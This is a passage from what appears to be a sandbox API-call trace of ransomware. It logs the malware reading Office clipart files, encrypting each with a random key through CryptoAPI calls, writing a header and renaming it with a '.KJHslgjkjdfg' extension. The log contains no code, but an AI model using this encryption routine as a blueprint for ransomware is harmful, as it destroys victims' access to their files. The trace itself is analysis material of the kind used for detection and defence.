out: lpNewFilePointer=0x0) returned 1 [0211.707] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.707] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.707] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.707] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb7c, lpOverlapped=0x0) returned 1 [0211.707] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb80, dwBufLen=0xb80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xb80) returned 1 [0211.707] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.707] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xb80, lpOverlapped=0x0) returned 1 [0211.708] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.708] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.708] SetEndOfFile (hFile=0x130) returned 1 [0211.711] GetProcessHeap () returned 0x990000 [0211.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.711] GetProcessHeap () returned 0x990000 [0211.711] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00390_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00390_.wmf.kjhslgjkjdfg")) returned 1 [0211.713] CloseHandle (hObject=0x130) returned 1 [0211.713] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22c49b00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22c49b00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x828, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00391_.WMF", cAlternateFileName="")) returned 1 [0211.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.715] GetProcessHeap () returned 0x990000 [0211.715] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.715] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.715] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.715] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.717] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.717] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.717] GetProcessHeap () returned 0x990000 [0211.717] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.718] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.718] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.718] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.718] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.718] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.718] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.718] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.718] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.718] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.718] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x828, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x828, lpOverlapped=0x0) returned 1 [0211.718] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x830, dwBufLen=0x830 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x830) returned 1 [0211.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.719] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x830, lpOverlapped=0x0) returned 1 [0211.719] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.719] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x904, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.719] SetEndOfFile (hFile=0x130) returned 1 [0211.721] GetProcessHeap () returned 0x990000 [0211.722] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.722] GetProcessHeap () returned 0x990000 [0211.722] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.722] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00391_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00391_.wmf.kjhslgjkjdfg")) returned 1 [0211.723] CloseHandle (hObject=0x130) returned 1 [0211.723] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59e57d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x59e57d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x704e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00416_.WMF", cAlternateFileName="")) returned 1 [0211.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.725] GetProcessHeap () returned 0x990000 [0211.725] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.725] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.725] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0211.727] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.727] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.727] GetProcessHeap () returned 0x990000 [0211.727] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.728] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.728] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.728] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.728] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.728] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.728] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.728] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.728] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x704e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x704e, lpOverlapped=0x0) returned 1 [0211.729] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7050, dwBufLen=0x7050 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7050) returned 1 [0211.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.730] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7050, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7050, lpOverlapped=0x0) returned 1 [0211.730] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.730] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7124, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.730] SetEndOfFile (hFile=0x130) returned 1 [0211.733] GetProcessHeap () returned 0x990000 [0211.733] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.733] GetProcessHeap () returned 0x990000 [0211.733] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.734] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00416_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00416_.wmf.kjhslgjkjdfg")) returned 1 [0211.735] CloseHandle (hObject=0x130) returned 1 [0211.735] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36491500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36491500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x143c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00423_.WMF", cAlternateFileName="")) returned 1 [0211.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.737] GetProcessHeap () returned 0x990000 [0211.737] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.737] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.737] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.737] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.739] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.739] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.739] GetProcessHeap () returned 0x990000 [0211.739] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.739] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.739] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.740] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.740] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.740] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.740] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.740] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.740] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.740] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.740] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.740] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x143c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x143c, lpOverlapped=0x0) returned 1 [0211.741] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1440, dwBufLen=0x1440 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1440) returned 1 [0211.741] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.741] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1440, lpOverlapped=0x0) returned 1 [0211.741] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.742] SetEndOfFile (hFile=0x130) returned 1 [0211.744] GetProcessHeap () returned 0x990000 [0211.745] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.745] GetProcessHeap () returned 0x990000 [0211.745] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00423_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00423_.wmf.kjhslgjkjdfg")) returned 1 [0211.746] CloseHandle (hObject=0x130) returned 1 [0211.746] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79ef4f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79ef4f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00444_.WMF", cAlternateFileName="")) returned 1 [0211.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00444_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00444_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.748] GetProcessHeap () returned 0x990000 [0211.748] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.748] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.748] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0211.753] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.753] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.753] GetProcessHeap () returned 0x990000 [0211.753] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.753] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.753] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.753] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.753] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.753] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.753] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.754] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.754] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.754] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.754] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.754] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1544, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1544, lpOverlapped=0x0) returned 1 [0211.755] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1550, dwBufLen=0x1550 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1550) returned 1 [0211.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.755] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1550, 